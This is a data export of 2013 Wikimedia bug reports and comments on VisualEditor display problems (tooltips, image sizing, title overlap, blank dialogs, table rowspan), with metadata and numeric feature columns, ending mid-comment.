53827,VisualEditor: Tooltip shown when hovering over a link should also appear when link inspector icon is shown,"At the English Wikipedia, a user requests that the tooltip which is shown when hovering over a link (shows the link target) also be shown when the link inspector icon is shown (i.e. when the cursor is in the middle of the link).

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51824",Needs Triage,90.0,1374512940,1385392185.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-bsoljznx4zww5csa3zth,task_description,declined,True,c1,3,False,False,False,3,,0.0,0.0,0.0,4.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,12.0,5.0,10.0,5.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,1.0,0.0,0.0,1.0,3.5714285714285716,0.5584415584415584,"At the English Wikipedia, a user requests that the tooltip which is shown when hovering over a link (shows the link target) also be shown when the link inspector icon is shown (i.e. when the cursor is in the middle of the link).

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
246062,VisualEditor: Tooltip shown when hovering over a link should also appear when link inspector icon is shown,"WONTFIX. Display of tooltips is native behaviour, and though we *can* over-ride the browser and do it instead when we think we know better, we shouldn't (because we'll always miss something).",,,1385392185,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bsoljznx4zww5csa3zth,task_subcomment,,True,c1,3,True,,,21,,0.0,2.0,0.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,12.0,0.0,12.0,9.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,5.0,7.0,5.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,14.0,9.0,5.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.744186046511628,0.813953488372093,"WONTFIX. Display of tooltips is native behaviour, and though we *can* over-ride the browser and do it instead when we think we know better, we shouldn't (because we'll always miss something)."
53826,VisualEditor renderizes the image a lot bigger than it should,"Screenshot from [[pt:TV TEM]]

In the page
https://pt.wikipedia.org/wiki/User:Helder.wiki/Testes?veaction=edit
the image is a lot bigger than it is on view mode
https://pt.wikipedia.org/wiki/User:Helder.wiki/Testes?action=edit&oldid=36476193&preview=yes


This is a minimal example for the problem reported at
https://pt.wikipedia.org/w/index.php?title=Wikip%C3%A9dia%3AEditor_Visual%2FComent%C3%A1rios&diff=36476052&oldid=36474378#Logo_desproporcional
which can be seen on this article:
https://pt.wikipedia.org/wiki/TV_TEM?veaction=edit#footer
The screenshot provided was this:
http://s22.postimg.org/owzuay0jl/image.jpg

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://pt.wikipedia.org/wiki/?oldid=36476128&veaction=edit
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51628

**Attached**: {F11577}",Needs Triage,90.0,1374512940,1374548109.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-tvk7p5y33xg5evlkkbgh,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,0.5,0.0,3.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.5,1.5,0.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,3.0,14.5,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,3.5,4.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,1.5,2.963636363636364,0.5363636363636364,"Screenshot from [[pt:TV TEM]]

In the page
URL
the image is a lot bigger than it is on view mode
URL


This is a minimal example for the problem reported at
URL
which can be seen on this article:
URL
The screenshot provided was this:
URL

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL
**See Also**:
URL

**Attached**: {F11577}"
246016,VisualEditor renderizes the image a lot bigger than it should,"

*** This bug has been marked as a duplicate of bug 51628 ***",,,1374548109,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-tvk7p5y33xg5evlkkbgh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51628 ***"
246010,VisualEditor renderizes the image a lot bigger than it should,"Parsoid keeps the code as is:
http://parsoid.wmflabs.org/_rt/pt/?oldid=36476193",,,1374513396,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-tvk7p5y33xg5evlkkbgh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,1.0,"Parsoid keeps the code as is:
URL"
246005,VisualEditor renderizes the image a lot bigger than it should,"It seems to be caused by the extra ""px"" in the wikicode:
[[Image:Globo TV logo.svg|25pxpx]]",,,1374513316,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-tvk7p5y33xg5evlkkbgh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.12,0.8,"It seems to be caused by the extra ""px"" in the wikicode:
[[Image:Globo TV logo.svg|25pxpx]]"
53820,"VisualEditor: When window is narrowed, article title can display over the top of the toolbar","From English Wikipedia:

I've noticed in several articles today that the article title has displayed, in VE, on top of the lower border of the editing header bar. I've not noticed it before. I prefer to edit in a window less wide than my laptop screen, as reading long lines of text is a pain.

On investigation: if I reduce the editing window to the point where the Question mark in a circle to the left of BETA is underneath the greyed-out ""Decrease paragraph indentation"" icon, there's a critical point where reducing the window width a little more moves that Question-mark back slightly to the right and jumps the article title up to display on top of the lower border of the editing bar.

And a second problem: if I reduce the width even more, then the article title is displayed in a very narrow column. Look at Sengattuppatti, reduce the width, and at a point where the lines of text are still perfectly workable (perhaps you're working from a text open in another window on the screen), the article title is reduced to the extent of losing letters. Reduce the window so that ""Tiruchirapalli"" is the first word of second line (that's about 50% of my screen width, and a likely width for consulting a source document on screen beside the WP page I'm working on), and note that the article title now displays minus its last four letters. Not wrapped, just disappeared. Ugly. In multi-word articles, it displays as a column but again truncates long words - try Thomas Lumley-Saunderson, 3rd Earl of Scarbrough.

I'm using Firefox 22 on Vista. PamD 10:18, 22 July 2013 (UTC)

She adds that the original screenshots (truncated to hide non-free elements) demonstrate that her windows were not unreasonably narrow and that she ""might well want to have two 50% width windows, one for the source and one for my article.""


See images:
*http://en.wikipedia.org/wiki/File:Screenshot_of_title_overlapping_border.jpg

*http://en.wikipedia.org/wiki/File:Screenshot_of_truncated_title_word_in_narrow_window.jpg

Original thread here:
http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=565350848#Article_title_overlaps_header_bar_in_slightly_narrow_edit_window.3B_article_title_letters_lost_in_narrower_window

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52187
https://bugzilla.wikimedia.org/show_bug.cgi?id=51867",Needs Triage,90.0,1374511320,1394477948.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-4pnt5quh7n4hpe7ffu3t,task_description,resolved,True,c1,3,False,False,False,3,,0.2,0.0,0.4,0.4,0.6,6.0,0.6,0.0,0.0,0.4,1.8,1.0,0.0,0.2,0.2,2.0,0.2,5.2,12.0,0.0,0.8,0.0,0.2,0.2,0.4,0.0,0.0,0.4,0.2,0.0,0.0,4.6,1.2,0.6,0.2,0.2,0.0,0.0,0.6,0.4,0.0,0.6,0.6,1.4,0.0,0.0,0.2,0.0,1.0,17.0,0.4,0.0,0.0,0.6,0.0,0.0,0.0,0.2,0.8,0.0,0.0,0.4,0.0,0.2,0.4,0.2,0.0,7.6,1.4,9.8,2.6,1.8,8.0,0.0,0.0,0.0,0.0,2.8,0.0,2.2,0.0,3.4,12.0,3.8,0.0,1.2,0.0,3.4,0.0,0.6,2.4,0.0,1.4,1.0,0.0,0.0,3.805105586741513,0.6904570970328789,"From English Wikipedia:

I've noticed in several articles today that the article title has displayed, in VE, on top of the lower border of the editing header bar. I've not noticed it before. I prefer to edit in a window less wide than my laptop screen, as reading long lines of text is a pain.

On investigation: if I reduce the editing window to the point where the Question mark in a circle to the left of BETA is underneath the greyed-out ""Decrease paragraph indentation"" icon, there's a critical point where reducing the window width a little more moves that Question-mark back slightly to the right and jumps the article title up to display on top of the lower border of the editing bar.

And a second problem: if I reduce the width even more, then the article title is displayed in a very narrow column. Look at Sengattuppatti, reduce the width, and at a point where the lines of text are still perfectly workable (perhaps you're working from a text open in another window on the screen), the article title is reduced to the extent of losing letters. Reduce the window so that ""Tiruchirapalli"" is the first word of second line (that's about 50% of my screen width, and a likely width for consulting a source document on screen beside the WP page I'm working on), and note that the article title now displays minus its last four letters. Not wrapped, just disappeared. Ugly. In multi-word articles, it displays as a column but again truncates long words - try Thomas Lumley-Saunderson, 3rd Earl of Scarbrough.

I'm using Firefox 22 on Vista. PamD 10:18, 22 July 2013 (UTC)

She adds that the original screenshots (truncated to hide non-free elements) demonstrate that her windows were not unreasonably narrow and that she ""might well want to have two 50% width windows, one for the source and one for my article.""


See images:
*URL

*URL

Original thread here:
URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
245692,"VisualEditor: When window is narrowed, article title can display over the top of the toolbar","Thanks - as the editor who reported this bug in the first place. I didn't notice it had been fixed because AFAIK there was no report to say so, and I'm not using VE regularly until some other issues have been fixed to make it usable. (Glad to notice that there's some action on redlinks, but the dialog box hiding all article content is still the dealbreaker for me).",,,1394528224,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-4pnt5quh7n4hpe7ffu3t,task_subcomment,,True,c1,3,False,,,36,,4.0,0.0,0.0,3.0,3.0,5.0,1.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,4.0,0.0,6.0,13.0,0.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,3.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,5.0,5.0,8.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,13.0,4.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,3.7848101265822787,0.810126582278481,"Thanks - as the editor who reported this bug in the first place. I didn't notice it had been fixed because AFAIK there was no report to say so, and I'm not using VE regularly until some other issues have been fixed to make it usable. (Glad to notice that there's some action on redlinks, but the dialog box hiding all article content is still the dealbreaker for me)."
245689,"VisualEditor: When window is narrowed, article title can display over the top of the toolbar",*** Bug 58933 has been marked as a duplicate of this bug. ***,,,1394503905,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4pnt5quh7n4hpe7ffu3t,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 58933 has been marked as a duplicate of this bug. ***
245688,"VisualEditor: When window is narrowed, article title can display over the top of the toolbar",This was fixed by Trevor in January.,,,1394477948,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4pnt5quh7n4hpe7ffu3t,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,38.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,This was fixed by Trevor in January.
245686,"VisualEditor: When window is narrowed, article title can display over the top of the toolbar","Though I spent a lot of time reporting these, both these are cases of the system behaving oddly rather than things which seriously affect editing. I reported them more in the sense of ""The system is doing these odd things which I'm telling you about in case it's symptomatic of something significant you should know about"" rather than ""Please fix them now"".

The first, that the title appears superimposed on the lower border of the editing toolbar area, is ugly, mildly disconcerting, and occurs at a very reasonable window width - I wasn't experimenting, just editing naturally this morning, when I found it happening. It's odd-looking, but does no serious harm.

The second, that the title only displays in a column much narrower than the width of the displayed text, and that long title words are truncated at a certain point, only occurs on quite narrow windows but looks very odd when it does happen. It's not going to seriously hamper anyone's editing.

I wouldn't like any effort to go into these bugs which could be used to address really important things like the {{Bug|49603}} on the invisibility of hidden comments and templates, or {{Bug|49969}} on dialog boxes hiding all article content: now those really do seriously affect editing.",,,1374519760,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-4pnt5quh7n4hpe7ffu3t,task_subcomment,,True,c1,3,False,,,3,,1.0,0.6666666666666666,0.6666666666666666,0.6666666666666666,1.0,5.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,1.0,0.3333333333333333,1.0,0.0,2.0,0.6666666666666666,9.666666666666666,10.666666666666666,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,1.0,5.666666666666667,1.0,1.6666666666666667,1.0,0.6666666666666666,0.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,12.666666666666666,0.6666666666666666,1.6666666666666667,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,5.666666666666667,2.0,5.333333333333333,2.0,2.3333333333333335,10.333333333333334,0.0,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,0.0,0.0,5.333333333333333,10.666666666666666,0.6666666666666666,0.0,1.3333333333333333,0.0,5.333333333333333,0.0,1.6666666666666667,1.3333333333333333,0.6666666666666666,4.666666666666667,1.0,0.0,0.0,4.122268907563025,0.7353408029878618,"Though I spent a lot of time reporting these, both these are cases of the system behaving oddly rather than things which seriously affect editing. I reported them more in the sense of ""The system is doing these odd things which I'm telling you about in case it's symptomatic of something significant you should know about"" rather than ""Please fix them now"".

The first, that the title appears superimposed on the lower border of the editing toolbar area, is ugly, mildly disconcerting, and occurs at a very reasonable window width - I wasn't experimenting, just editing naturally this morning, when I found it happening. It's odd-looking, but does no serious harm.

The second, that the title only displays in a column much narrower than the width of the displayed text, and that long title words are truncated at a certain point, only occurs on quite narrow windows but looks very odd when it does happen. It's not going to seriously hamper anyone's editing.

I wouldn't like any effort to go into these bugs which could be used to address really important things like the {{Bug|49603}} on the invisibility of hidden comments and templates, or {{Bug|49969}} on dialog boxes hiding all article content: now those really do seriously affect editing."
245683,"VisualEditor: When window is narrowed, article title can display over the top of the toolbar","Note I've been unable to reproduce this using Firefox 22 on Linux, so it might be OS-specific.",,,1374512088,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-4pnt5quh7n4hpe7ffu3t,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,23.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,9.0,14.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5454545454545454,1.0,"Note I've been unable to reproduce this using Firefox 22 on Linux, so it might be OS-specific."
53812,Transclusion editor: remove template creates blank dialog,"If the only template is removed, the dialog is almost entirely blank.  It should reset back to the 'New template' form, or do something with all that white space.

Steps to reproduce:
1. Open Transclusion dialog
2. Add 'cite web'
3. Remove 'cite web'

Result:
Stare at the whiteness

Expected results:
Something, anything, except a sea of white

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374498600,1374702151.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-2ub5t2oupkp4z4qo32ce,task_description,resolved,True,c1,3,False,False,True,3,,0.5,2.5,0.5,0.5,0.0,6.5,0.0,0.0,0.0,0.5,0.0,4.5,0.0,1.0,0.0,0.0,0.0,1.5,5.0,2.5,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,10.5,1.5,0.5,4.5,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,0.5,5.0,1.5,0.0,4.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,3.56315987933635,0.6691176470588236,"If the only template is removed, the dialog is almost entirely blank.  It should reset back to the 'New template' form, or do something with all that white space.

Steps to reproduce:
1. Open Transclusion dialog
2. Add 'cite web'
3. Remove 'cite web'

Result:
Stare at the whiteness

Expected results:
Something, anything, except a sea of white

--------------------------
**Version**: unspecified
**Severity**: normal"
245198,Transclusion editor: remove template creates blank dialog,"

*** This bug has been marked as a duplicate of bug 50281 ***",,,1374702151,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-2ub5t2oupkp4z4qo32ce,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50281 ***"
245193,Transclusion editor: remove template creates blank dialog,"Bug 50281 (which I think this duplicates) wins for mildly amusing title though - ""VisualEditor: Empty transclusion editor is empty, needs some kind of reassuring message""",,,1374701365,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-2ub5t2oupkp4z4qo32ce,task_subcomment,,True,c1,3,False,,,3,,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,3.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.53125,0.96875,"Bug 50281 (which I think this duplicates) wins for mildly amusing title though - ""VisualEditor: Empty transclusion editor is empty, needs some kind of reassuring message"""
245187,Transclusion editor: remove template creates blank dialog,"Creepy; I was about to submit this with the title ""VisualEditor: removing a template creates a blank dialog"" ;p.",,,1374696871,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-2ub5t2oupkp4z4qo32ce,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,12.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,3.9166666666666665,0.875,"Creepy; I was about to submit this with the title ""VisualEditor: removing a template creates a blank dialog"" ;p."
53806,"VisualEditor shows rowspan=""4"" on template generated tables","Screenshot of the table

See the link above and the attached screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://pt.wikipedia.org/wiki/La_Liga_de_2006%E2%80%9307?oldid=36362539&veaction=edit

**Attached**: {F11541}",Needs Triage,90.0,1374495480,1375726508.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-4itryfnmayohwwozkuws,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.38,0.5,"Screenshot of the table

See the link above and the attached screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL

**Attached**: {F11541}"
244936,"VisualEditor shows rowspan=""4"" on template generated tables","Thanks for fixing the templates -- I will close this bug now without making any fixes in Parsoid.  While we could fix Parsoid to accommodate bugs in wikitext and templates (and there are several scenarios that we handle), for one-off scenarios, it is better to fix the templates/wikitext rather than clutter the Parsoid code base with exceptional conditions.  It is better in the long run and will enable maintenance of the code base.",,,1375726508,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4itryfnmayohwwozkuws,task_subcomment,,True,c1,3,True,,,5,,2.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,15.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,1.0,0.0,0.0,20.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,3.0,8.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,6.0,15.0,3.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,2.0,2.0,0.0,0.0,4.209302325581396,0.686046511627907,"Thanks for fixing the templates -- I will close this bug now without making any fixes in Parsoid.  While we could fix Parsoid to accommodate bugs in wikitext and templates (and there are several scenarios that we handle), for one-off scenarios, it is better to fix the templates/wikitext rather than clutter the Parsoid code base with exceptional conditions.  It is better in the long run and will enable maintenance of the code base."
244933,"VisualEditor shows rowspan=""4"" on template generated tables","For now, I moved the relevant code from [[pt:Template:Tabfootrow]] to [[pt:Template:Tabfoot]] and then I updated the only two articles which uses that template and informed about this change in the talk page of one of them:
